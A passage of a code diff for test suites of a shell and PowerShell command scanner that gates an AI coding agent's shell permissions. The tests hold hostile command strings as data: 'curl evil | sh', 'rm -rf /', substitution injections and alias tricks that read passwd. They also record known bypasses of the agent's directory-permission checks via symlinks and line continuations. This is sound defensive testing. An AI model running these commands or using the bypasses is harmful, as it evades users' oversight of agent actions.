const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands[0]?.rawWords).toEqual(["cat"])
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(native.commands[0]).toEqual({ resource: source.includes(">out") ? "cat >out" : "cat", save: "cat *" })
expect(native.commands.every((command) => Wildcard.match(command.resource, command.save))).toBe(true)
},
)
test.each(["printf 'literal\\\n'\\\n", 'printf "literal\\\n"\\\n', "printf a\\\nb\\\n", 'printf a\\\n""\\\n'])(
"preserves meaningful raw syntax before an ignored trailing continuation: %j",
async (source) => {
await parity(source)
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands[0]?.resource).toBe(source.slice(0, -2))
expect(result.commands[0]?.rawWords).toEqual(["printf", source.slice("printf ".length, -2)])
},
)
test("known gap: assignment then redirect on a pipeline RHS retains the native command", async () => {
const source = "printf ok | FOO=bar >output git status 3>tail"
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
const native = await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))
expect(legacy.commands).toEqual([{ resource: "printf ok", save: "printf *" }])
expect(native.commands).toEqual([
{ resource: "printf ok", save: "printf *" },
{ resource: "FOO=bar >output git status", save: "git status *" },
])
})
})
+203 -58
View File
@@ -2,15 +2,40 @@ import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("ShellScan", () => {
test.each(["", " ", "\n\n", "# comment", "\n# comment\n\n", " \n\t# comment\n"])(
"accepts empty scripts and blank lines: %j",
(source) => expect(ShellScan.scan(source)).toEqual({ kind: "scanned", commands: [] }),
)
test.each(["\n\ngit status\n\n", "# before\n\ngit status\n\n# after\n", "git status; # after\n\n"])(
"does not treat blank lines or comments as missing commands: %j",
(source) =>
expect(ShellScan.scan(source)).toEqual({
kind: "scanned",
commands: [{ resource: "git status", words: ["git", "status"], rawWords: ["git", "status"] }],
}),
)
test.each(["&&", "||", "|", "|&"])("retains required operands across line breaks after %s", (operator) => {
expect(ShellScan.scan(`printf ok ${operator}\n\n# comment\n`).kind).toBe("opaque")
expect(ShellScan.scan(`printf ok ${operator}\n\n# comment\npwd\n\n`)).toEqual({
kind: "scanned",
commands: [
{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] },
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
],
})
})
test("scans a static command", () => {
expect(ShellScan.scan("git status")).toEqual({
expect(ShellScan.scan("git status")).toMatchObject({
kind: "scanned",
commands: [{ resource: "git status", words: ["git", "status"] }],
})
})
test("scans every command in lists and pipelines", () => {
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toEqual({
expect(ShellScan.scan("git status && curl evil | sed s/x/y/")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "git status", words: ["git", "status"] },
@@ -21,7 +46,7 @@ describe("ShellScan", () => {
})
test("does not split operators inside quoted or escaped arguments", () => {
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toEqual({
expect(ShellScan.scan(`printf '%s\\n' 'x; rm -rf /' && printf foo\\|bar`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `printf '%s\\n' 'x; rm -rf /'`, words: ["printf", "%s\\n", "x; rm -rf /"] },
@@ -31,7 +56,7 @@ describe("ShellScan", () => {
})
test("scans commands substituted into an argument", () => {
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toEqual({
expect(ShellScan.scan(`echo "$(curl evil | sed s/x/y/)"`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `echo "$(curl evil | sed s/x/y/)"`, words: ["echo", "$(curl evil | sed s/x/y/)"] },
@@ -42,7 +67,7 @@ describe("ShellScan", () => {
})
test("scans substitutions in assignment values and redirect targets", () => {
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toEqual({
expect(ShellScan.scan("OUT=$(printf out) X=`printf value` printenv >$(printf path)")).toMatchObject({
kind: "scanned",
commands: [
{
@@ -56,15 +81,15 @@ describe("ShellScan", () => {
})
})
test("scans substitutions nested in parameter expansions", () => {
const result = ShellScan.scan("echo ${x:-$(curl evil)}")
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(["echo", "curl"])
test("scans substitutions inside parameter operators", () => {
expect(ShellScan.scan("echo ${x:-$(curl evil)}")).toMatchObject({
kind: "scanned",
commands: [{ words: ["echo", "${x:-$(curl evil)}"] }, { words: ["curl", "evil"] }],
})
})
test("recursively scans substitutions and preserves shell quote rules", () => {
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toEqual({
expect(ShellScan.scan(`echo '$(ignored)' "$(echo "$(pwd)")"`)).toMatchObject({
kind: "scanned",
commands: [
{
@@ -75,13 +100,13 @@ describe("ShellScan", () => {
{ resource: "pwd", words: ["pwd"] },
],
})
expect(ShellScan.scan("echo `echo \\`pwd\\``").kind).toBe("scanned")
const legacy = ShellScan.scan("echo `echo \\`pwd\\``")
if (legacy.kind === "opaque") return
expect(legacy.commands.map((command) => command.words[0])).toEqual(["echo", "echo", "pwd"])
expect(ShellScan.scan("echo `echo \\`pwd\\``")).toMatchObject({
kind: "scanned",
commands: [{ words: ["echo", "`echo \\`pwd\\``"] }, { words: ["echo", "`pwd`"] }, { words: ["pwd"] }],
})
})
test.each(["echo $(printf ok &&)", "echo $($COMMAND status)"])(
test.each(["echo $(printf ok &&)", "echo $(printf ${value:-fallback)"])(
"makes the whole result opaque when a nested scan is opaque: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
@@ -94,15 +119,15 @@ describe("ShellScan", () => {
expect(ShellScan.scan(`echo ${"x".repeat(64 * 1024)}`)).toEqual({ kind: "opaque", reason: "invalid-structure" })
})
test("returns opaque when the command name is dynamic", () => {
test("preserves dynamic command syntax without resolving its name", () => {
expect(ShellScan.scan("$COMMAND status")).toEqual({
kind: "opaque",
reason: "dynamic-command-name",
kind: "scanned",
commands: [{ resource: "$COMMAND status", words: ["$COMMAND", "status"], rawWords: ["$COMMAND", "status"] }],
})
})
test("finds the command after static assignment prefixes", () => {
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toEqual({
expect(ShellScan.scan(`FOO=bar BAR="x y" git status`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `FOO=bar BAR="x y" git status`, words: ["git", "status"] }],
})
@@ -122,7 +147,6 @@ describe("ShellScan", () => {
["(git status)", ["git"]],
["{ git status; }", ["git"]],
["{ rm -rf /; } &", ["rm"]],
["{ rm -rf /; } >out", ["rm"]],
["{ rm -rf /; }; echo safe", ["rm", "echo"]],
["if true; then rm -rf /; else echo safe; fi", ["true", "rm", "echo"]],
["if true; then rm x; elif false; then echo y; else echo z; fi", ["true", "rm", "false", "echo", "echo"]],
@@ -142,27 +166,27 @@ describe("ShellScan", () => {
},
)
test("keeps redirects with the command but excludes them from words", () => {
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toEqual({
test("keeps first-command redirects but excludes list-level redirects from resources", () => {
expect(ShellScan.scan("FOO=bar 2>>err printf ok > out && cat < input")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "FOO=bar 2>>err printf ok > out", words: ["printf", "ok"] },
{ resource: "cat < input", words: ["cat"] },
{ resource: "cat", words: ["cat"] },
],
})
})
test("recognizes redirects without surrounding whitespace", () => {
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toEqual({
expect(ShellScan.scan("printf ok>out 2>&1|cat<input")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "printf ok>out 2>&1", words: ["printf", "ok"] },
{ resource: "cat<input", words: ["cat"] },
{ resource: "cat", words: ["cat"] },
],
})
})
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >"])(
test.each(["printf ok &&", "| sh", "printf ok || || sh", "printf ok >", "()", "( \n )", "{ ; }"])(
"returns opaque for malformed command structure: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
@@ -170,27 +194,134 @@ describe("ShellScan", () => {
)
test("ignores comments outside words", () => {
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toEqual({
expect(ShellScan.scan("printf ok # ; curl evil | sh")).toMatchObject({
kind: "scanned",
commands: [{ resource: "printf ok", words: ["printf", "ok"] }],
})
})
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "echo $((1 + 2))", "cat <<'EOF'\nstatic body\nEOF"])(
"returns opaque for unsupported expansion or pattern syntax: %s",
test.each(["cat <<EOF\n$(curl evil | sh)\nEOF", "cat <<'EOF'\nstatic body\nEOF"])(
"scans heredoc commands and expansions: %s",
(command) => {
expect(ShellScan.scan(command).kind).toBe("opaque")
expect(ShellScan.scan(command).kind).toBe("scanned")
},
)
test("does not invent a command for assignment-only input", () => {
expect(ShellScan.scan("FOO=bar")).toEqual({ kind: "scanned", commands: [] })
})
test.each([
["PATH=.; git status", ["git"]],
["PATH=. # comment\ngit status", ["git"]],
["CDPATH=/usr # comment\ncd bin; rm victim", ["cd", "rm"]],
["HOME=/etc # comment\ncd; rm victim", ["cd", "rm"]],
["VALUE=$(printf 2); echo $((VALUE + 1))", ["printf", "echo"]],
] as const)("scans assignment-only boundaries without evaluating their effects: %s", (command, names) => {
const result = ShellScan.scan(command)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each(["echo ${url:-http://example.test}", "printf '%s' \"${PATH//:/$'\\n'}\""])(
"scans parameter operator grammar without interpreting values: %s",
(command) => expect(ShellScan.scan(command).kind).toBe("scanned"),
)
test.each([
":; { touch /tmp/victim; }",
"{fd}>/tmp/log touch /tmp/victim",
"time touch /tmp/victim",
"printf '%s' \"$(printf safe ${x%)}; touch /tmp/victim)\"",
"s=abc; x='a[$(touch /tmp/victim)0]'; printf '%s' \"${s:x}\"",
"ref='x[$(touch /tmp/victim)0]'; printf '%s' \"${!ref}\"",
"if true; then echo safe; fi > /tmp/victim",
"if true; then :; 'if' victim; fi",
])("scans Bash lexical forms without interpreting shell values: %s", (command) => {
expect(ShellScan.scan(command).kind).toBe("scanned")
})
test("bounds nested parameter expansions", () => {
expect(ShellScan.scan(`printf '%s' "${"${".repeat(1000)}x${"}".repeat(1000)}"`).kind).toBe("opaque")
})
})
describe("ShellScan lexical provenance", () => {
test("retains Bash quotes and escapes while excluding assignment prefixes and redirects", () => {
const source = `FOO='x y' 2>"error log" g"it" 'status' a\\ b "" >output`
expect(ShellScan.scan(source)).toEqual({
kind: "scanned",
commands: [
{
resource: source,
words: ["git", "status", "a b", ""],
rawWords: ['g"it"', "'status'", "a\\ b", '""'],
},
],
})
})
test("does not mistake quoted assignment-like words or fd numbers for shell syntax", () => {
expect(ShellScan.scan(`F"OO"=bar '123'>out`)).toEqual({
kind: "scanned",
commands: [{ resource: `F"OO"=bar '123'>out`, words: ["FOO=bar", "123"], rawWords: ['F"OO"=bar', "'123'"] }],
})
})
test("retains nested Bash substitutions and continuations from the original token", () => {
const source = "echo \"$(printf '%s' 2)\" a\\\nb; pwd"
const result = ShellScan.scan(source)
expect(result).toEqual({
kind: "scanned",
commands: [
{
resource: "echo \"$(printf '%s' 2)\" a\\\nb",
words: ["echo", "$(printf '%s' 2)", "ab"],
rawWords: ["echo", "\"$(printf '%s' 2)\"", "a\\\nb"],
},
{ resource: "printf '%s' 2", words: ["printf", "%s", "2"], rawWords: ["printf", "'%s'", "2"] },
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
],
})
})
test("retains PowerShell invocation quotes, escaped words, and empty arguments", () => {
const source = `& 'Write-Output' "a""b" a\`#b '' >'out file' 2>&1`
expect(ShellScan.scanPowerShell(source)).toMatchObject({
kind: "scanned",
commands: [
{
resource: source,
words: ["Write-Output", 'a"b', "a#b", ""],
rawWords: ["'Write-Output'", '"a""b"', "a`#b", "''"],
},
],
})
})
test("keeps separate PowerShell literal tokens and nested script block spans", () => {
const source = "ForEach-Object { Write-Output 'safe'tail }"
expect(ShellScan.scanPowerShell(source)).toMatchObject({
kind: "scanned",
commands: [
{
resource: source,
words: ["ForEach-Object", "{ Write-Output 'safe'tail }"],
rawWords: ["ForEach-Object", "{ Write-Output 'safe'tail }"],
},
{
resource: "Write-Output 'safe'tail",
words: ["Write-Output", "safe", "tail"],
rawWords: ["Write-Output", "'safe'", "tail"],
},
],
})
})
})
describe("ShellScan PowerShell", () => {
test("keeps adjacent invocation operators in resources", () => {
expect(ShellScan.scanPowerShell("&Remove-Item victim")).toEqual({
expect(ShellScan.scanPowerShell("&Remove-Item victim")).toMatchObject({
kind: "scanned",
commands: [{ resource: "&Remove-Item victim", words: ["Remove-Item", "victim"] }],
})
@@ -235,7 +366,7 @@ describe("ShellScan PowerShell", () => {
})
test("scans static commands and pipelines", () => {
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toEqual({
expect(ShellScan.scanPowerShell("Get-ChildItem; Write-Output 'done' | Out-File output.txt")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Get-ChildItem", words: ["Get-ChildItem"] },
@@ -246,28 +377,32 @@ describe("ShellScan PowerShell", () => {
})
test("keeps separators inside strings", () => {
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toEqual({
expect(ShellScan.scanPowerShell('Write-Output "safe; still safe"')).toMatchObject({
kind: "scanned",
commands: [{ resource: 'Write-Output "safe; still safe"', words: ["Write-Output", "safe; still safe"] }],
})
})
test("treats escaped command separators as opaque for legacy compatibility", () => {
expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toEqual({
kind: "opaque",
reason: "invalid-structure",
test("keeps escaped command separators in the argument", () => {
expect(ShellScan.scanPowerShell("Write-Output foo`;bar")).toMatchObject({
kind: "scanned",
commands: [{ resource: "Write-Output foo`;bar", words: ["Write-Output", "foo;bar"] }],
})
})
test("treats line continuations as opaque for legacy compatibility", () => {
expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toEqual({
kind: "opaque",
reason: "invalid-structure",
test("keeps escaped newlines in a started generic token", () => {
expect(ShellScan.scanPowerShell("Write-Output x`\nRemove-Item victim")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Write-Output x`\nRemove-Item victim", words: ["Write-Output", "x\nRemove-Item", "victim"] },
],
})
})
test("uses PowerShell quote escaping rules", () => {
expect(ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"")).toEqual({
expect(
ShellScan.scanPowerShell("Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\""),
).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Write-Output 'a''b; still string'", words: ["Write-Output", "a'b; still string"] },
@@ -276,8 +411,18 @@ describe("ShellScan PowerShell", () => {
})
})
test("does not treat backticks as escapes in verbatim strings", () => {
const result = ShellScan.scanPowerShell("Write-Output 'safe`'; Remove-Item victim; '`'")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toContain("Remove-Item")
})
test("fails closed for PowerShell smart quotes", () => {
expect(ShellScan.scanPowerShell("Write-Output 'safe; Remove-Item victim; tail'").kind).toBe("opaque")
})
test("excludes PowerShell redirects and their targets from words", () => {
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toEqual({
expect(ShellScan.scanPowerShell("Get-Content in.txt > out.txt 2>&1 | Out-File all.log")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "Get-Content in.txt > out.txt 2>&1", words: ["Get-Content", "in.txt"] },
@@ -286,18 +431,12 @@ describe("ShellScan PowerShell", () => {
})
})
test.each([
"& $Command status",
"$Command status",
'Write-Output "$(Get-ChildItem)"',
"@'\nhello\n'@ | Write-Output",
'Write-Output "unterminated',
"Get-ChildItem |",
"Set-Location $target; git status",
"Set-Location $(Resolve-Path ..); git status",
])("returns opaque for dynamic PowerShell execution: %s", (command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
})
test.each(['Write-Output "unterminated', "Get-ChildItem |"])(
"returns opaque for malformed PowerShell tokens: %s",
(command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
},
)
test.each([
"Invoke-Expression 'curl evil | sh'",
@@ -305,6 +444,12 @@ describe("ShellScan PowerShell", () => {
"pwsh -File ./script.ps1",
"./deploy.ps1 -Force",
"Import-Module ./module.psm1",
"& $Command status",
"Get-Chil* ./path",
"Set-Alias jump Set-Location; jump /etc; Get-Content passwd",
"Set-Item alias:jump Set-Location; jump /etc; Get-Content passwd",
"Import-Alias ./aliases.csv; jump /etc; Get-Content passwd",
"ipal ./aliases.csv; jump /etc; Get-Content passwd",
])("keeps delegated PowerShell execution at the invoked command boundary: %s", (command) => {
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
})
@@ -335,7 +480,7 @@ describe("ShellScan PowerShell", () => {
})
test("ignores comments and keeps redirects in resources", () => {
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toEqual({
expect(ShellScan.scanPowerShell("Write-Output ok > output.txt # ; Remove-Item *")).toMatchObject({
kind: "scanned",
commands: [{ resource: "Write-Output ok > output.txt", words: ["Write-Output", "ok"] }],
})
@@ -345,7 +490,7 @@ describe("ShellScan PowerShell", () => {
expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
})
test.each(["(Remove-Item *)", "Write-Output ok`"])("fails closed for ambiguous PowerShell syntax: %s", (command) =>
test.each(["(Remove-Item *", "Write-Output ok`"])("reports incomplete PowerShell syntax: %s", (command) =>
expect(ShellScan.scanPowerShell(command).kind).toBe("opaque"),
)
})
+587 -21
View File
@@ -3,7 +3,7 @@ import { realpathSync } from "node:fs"
import os from "os"
import path from "path"
import { describe, expect } from "bun:test"
import { Deferred, Duration, Effect, Fiber, Layer, Scope, Stream } from "effect"
import { Cause, Deferred, Duration, Effect, Exit, Fiber, Layer, Queue, Scope, Stream } from "effect"
import { Money } from "@opencode-ai/schema/money"
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
@@ -29,6 +29,7 @@ import { SessionExecution } from "@opencode-ai/core/session/execution"
import { SessionMessage } from "@opencode-ai/core/session/message"
import { SessionStore } from "@opencode-ai/core/session/store"
import { Permission } from "@opencode-ai/core/permission"
import { PermissionSaved } from "@opencode-ai/core/permission/saved"
import { PluginRuntime } from "@opencode-ai/core/plugin/runtime"
import { PluginSupervisor } from "@opencode-ai/core/plugin/supervisor"
import { Shell } from "@opencode-ai/core/shell"
@@ -158,6 +159,13 @@ const replacements = [
] satisfies LayerNode.Replacements
const productionIt = testEffect(AppNodeBuilder.build(nodes, replacements))
const it = testEffect(AppNodeBuilder.build(nodes, [...replacements, [PluginSupervisor.node, shellPluginSupervisor]]))
const permissionIt = testEffect(
AppNodeBuilder.build(LayerNode.group([nodes, PermissionSaved.node]), [
[SessionExecution.node, executionNode],
[Global.node, tempGlobalLayer],
[PluginSupervisor.node, shellPluginSupervisor],
]),
)
const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
sessionID,
@@ -212,6 +220,488 @@ const withSession = <A, E, R>(directory: string, body: (registry: Tool.Interface
}).pipe(Effect.provide(locationLayer), Effect.ensuring(locations.invalidate(location)))
})
const withScanner = <A, E, R>(
portable: boolean,
body: (registry: Tool.Interface, fixture: { active: string; outside: string }) => Effect.Effect<A, E, R>,
shell = "sh",
) =>
Effect.acquireUseRelease(
Effect.promise(() => tmpdir()),
(tmp) =>
Effect.gen(function* () {
const fixture = { active: path.join(tmp.path, "active"), outside: path.join(tmp.path, "outside") }
yield* Effect.promise(() => Promise.all([fs.mkdir(fixture.active), fs.mkdir(fixture.outside)]))
yield* Effect.promise(() =>
Bun.write(
path.join(fixture.active, "opencode.json"),
JSON.stringify({ experimental: { portable_shell_scanner: portable } }),
),
)
return yield* withSession(fixture.active, (registry) =>
Effect.gen(function* () {
const selection = yield* ShellSelect.Service
yield* selection.transform((draft) => draft.configure(shell))
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = []
}),
)
return yield* body(registry, fixture)
}),
)
}),
(tmp) => Effect.promise(() => tmp[Symbol.asyncDispose]().then(() => undefined)),
)
const runPermissionCommand = (
registry: Tool.Interface,
command: string,
marker: string,
replies: ReadonlyArray<Permission.Reply>,
) =>
Effect.gen(function* () {
const permission = yield* Permission.Service
const bus = yield* Bus.Service
const queue = yield* Queue.unbounded<Permission.Request>()
yield* bus.subscribe(Permission.Event.Asked).pipe(
Stream.runForEach((event) => Queue.offer(queue, event.data)),
Effect.forkScoped({ startImmediately: true }),
)
const execution = yield* executeTool(registry, call({ command }, `call-${Permission.ID.create()}`)).pipe(
Effect.forkScoped,
)
const requests = yield* Effect.forEach(replies, (reply) =>
Effect.gen(function* () {
const request = yield* Queue.take(queue)
expect(yield* permission.forSession(sessionID)).toEqual([request])
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
yield* permission.reply({ requestID: request.id, reply })
return request
}),
)
const exit = yield* Fiber.await(execution)
expect(yield* permission.list()).toEqual([])
expect(yield* Queue.size(queue)).toBe(0)
return { exit, requests }
}).pipe(Effect.scoped, Effect.timeout(Duration.seconds(5)))
// Directory cases still document inherited limitations; fixed scanner cases require matching behavior.
describe("ShellTool scanner permissions", () => {
const test = isWindows || !Bun.which("sh") ? permissionIt.live.skip : permissionIt.live
for (const portable of [false, true]) {
const scanner = portable ? "native" : "legacy"
test(`${scanner}: declarations reuse approvals while substitutions retain reject/once/always behavior`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf *"] })
const marker = path.join(fixture.active, "marker")
const approved = yield* runPermissionCommand(
registry,
"export SCAN_TEST=hello; unset SCAN_TEST; printf hello > marker",
marker,
[],
)
expect(approved.requests).toEqual([])
expect(approved.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
expect((yield* saved.list()).map((item) => item.resource)).toEqual(["printf *"])
yield* Effect.forEach(yield* saved.list(), (item) => saved.remove(item.id))
const command = 'export SCAN_TEST=$(printf hello); printf %s "$SCAN_TEST" > marker'
const prompts: Permission.Request[] = []
for (const reply of ["reject", "once", "always", undefined] as const) {
yield* Effect.promise(() => fs.rm(marker, { force: true }))
const result = yield* runPermissionCommand(registry, command, marker, reply ? [reply] : [])
prompts.push(...result.requests)
if (reply === "reject") {
expect(Exit.isFailure(result.exit)).toBe(true)
if (Exit.isFailure(result.exit))
expect(
result.exit.cause.reasons.some(
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
),
).toBe(true)
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
continue
}
expect(result.exit).toMatchObject({
_tag: "Success",
value: { status: "completed", metadata: { exit: 0 } },
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
if (reply === "once") expect(yield* saved.list()).toEqual([])
}
expect(prompts).toHaveLength(3)
for (const request of prompts) {
expect(request).toMatchObject({
action: "shell",
resources: ["printf hello", 'printf %s "$SCAN_TEST" > marker'],
save: ["printf *", "printf *"],
})
}
expect((yield* saved.list()).map((item) => item.resource)).toEqual(["printf *"])
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: "printf hello", effect: "deny" }]
}),
)
yield* Effect.promise(() => fs.rm(marker))
const denied = yield* runPermissionCommand(registry, command, marker, [])
expect(denied.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
}),
))
test(`${scanner}: pipeline redirect preserves exact approval and denial despite broad saved approval`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const saved = yield* PermissionSaved.Service
const location = yield* Location.Service
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf hello", "cat"] })
const marker = path.join(fixture.active, "marker")
const command = "printf hello | cat > marker"
const exact = yield* runPermissionCommand(registry, command, marker, [])
expect(exact.requests).toEqual([])
expect(exact.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
yield* saved.add({ projectID: location.project.id, action: "shell", resources: ["printf *", "cat *"] })
yield* Effect.promise(() => fs.rm(marker))
const broad = yield* runPermissionCommand(registry, command, marker, [])
expect(broad.requests).toEqual([])
expect(broad.exit).toMatchObject({ _tag: "Success", value: { status: "completed", metadata: { exit: 0 } } })
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("hello")
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: "cat", effect: "deny" }]
}),
)
yield* Effect.promise(() => fs.rm(marker))
const denied = yield* runPermissionCommand(registry, command, marker, [])
expect(denied.requests).toEqual([])
expect(denied.exit).toMatchObject({
_tag: "Success",
value: { status: "error", error: { message: expect.stringContaining("Permission denied: shell") } },
})
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
}),
))
test(`${scanner}: external-directory rejection stops execution before a workspace marker is written`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [{ action: "shell", resource: "*", effect: "allow" }]
}),
)
const marker = path.join(fixture.active, "marker")
const command = `cd '${fixture.outside}' && pwd -P && printf reached > '${marker}'`
for (const reply of ["reject", "once"] as const) {
const result = yield* runPermissionCommand(registry, command, marker, [reply])
expect(result.requests).toMatchObject([
{ action: "external_directory", resources: [path.join(fixture.outside, "*")] },
])
if (reply === "reject") {
expect(Exit.isFailure(result.exit)).toBe(true)
if (Exit.isFailure(result.exit))
expect(
result.exit.cause.reasons.some(
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
),
).toBe(true)
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
continue
}
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
},
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
}
}),
))
test(`${scanner}: a numeric symlink operand still reaches outside without an external-directory prompt`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
yield* Effect.promise(() => fs.symlink(fixture.outside, path.join(fixture.active, "123")))
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [
{ action: "shell", resource: "*", effect: "allow" },
{ action: "external_directory", resource: "*", effect: "deny" },
]
}),
)
const marker = path.join(fixture.active, "marker")
const result = yield* runPermissionCommand(
registry,
`cd 123 && pwd -P && printf reached > '${marker}'`,
marker,
[],
)
expect(result.requests).toEqual([])
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
},
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
}),
))
test(`${scanner}: a continued directory operand asks for the wrong path and misses the destination deny`, () =>
withScanner(portable, (registry, fixture) =>
Effect.gen(function* () {
const agents = yield* Agent.Service
yield* agents.transform((draft) =>
draft.update(toolIdentity.agent, (agent) => {
agent.permissions = [
{ action: "shell", resource: "*", effect: "allow" },
{ action: "external_directory", resource: path.join(fixture.outside, "*"), effect: "deny" },
]
}),
)
const marker = path.join(fixture.active, "marker")
const command = `cd ../out\\\nside && pwd -P && printf reached > '${marker}'`
for (const reply of ["reject", "once"] as const) {
const result = yield* runPermissionCommand(registry, command, marker, [reply])
expect(result.requests).toMatchObject([
{
action: "external_directory",
resources: [
path.join(fixture.active, "..", portable ? "out\\\nside" : "out", "*").replaceAll("\\", "/"),
],
},
])
if (reply === "reject") {
expect(Exit.isFailure(result.exit)).toBe(true)
if (Exit.isFailure(result.exit))
expect(
result.exit.cause.reasons.some(
(reason) => Cause.isDieReason(reason) && reason.defect instanceof Permission.DeclinedError,
),
).toBe(true)
expect(yield* Effect.promise(() => Bun.file(marker).exists())).toBe(false)
continue
}
expect(result.exit).toMatchObject({
_tag: "Success",
value: {
status: "completed",
metadata: { exit: 0 },
content: [{ type: "text", text: `${fixture.outside}\n` }, { type: "text" }],
},
})
expect(yield* Effect.promise(() => Bun.file(marker).text())).toBe("reached")
}
}),
))
}
})
describe("ShellTool ordinary shell syntax", () => {
for (const shell of ["bash", "zsh"]) {
const test = isWindows || !Bun.which(shell) ? permissionIt.live.skip : permissionIt.live
for (const portable of [false, true]) {
for (const fixture of [
{ name: "quoted heredoc", command: "cat <<'EOF'\nhello\nEOF", output: "hello\n", saved: ["cat *"] },
{
name: "heredoc substitution",
command: "cat <<EOF\n$(printf hello)\nEOF",
output: "hello\n",
saved: ["cat *", "printf *"],
},
{
name: "loop with a conditional",
command: 'for value in a b; do if test -n "$value"; then printf %s "$value"; fi; done',
output: "ab",
saved: ["test *", "printf *"],
},
{
name: "function and case",
command: 'greet() { case "$1" in a) printf hello;; *) printf other;; esac; }; greet a',
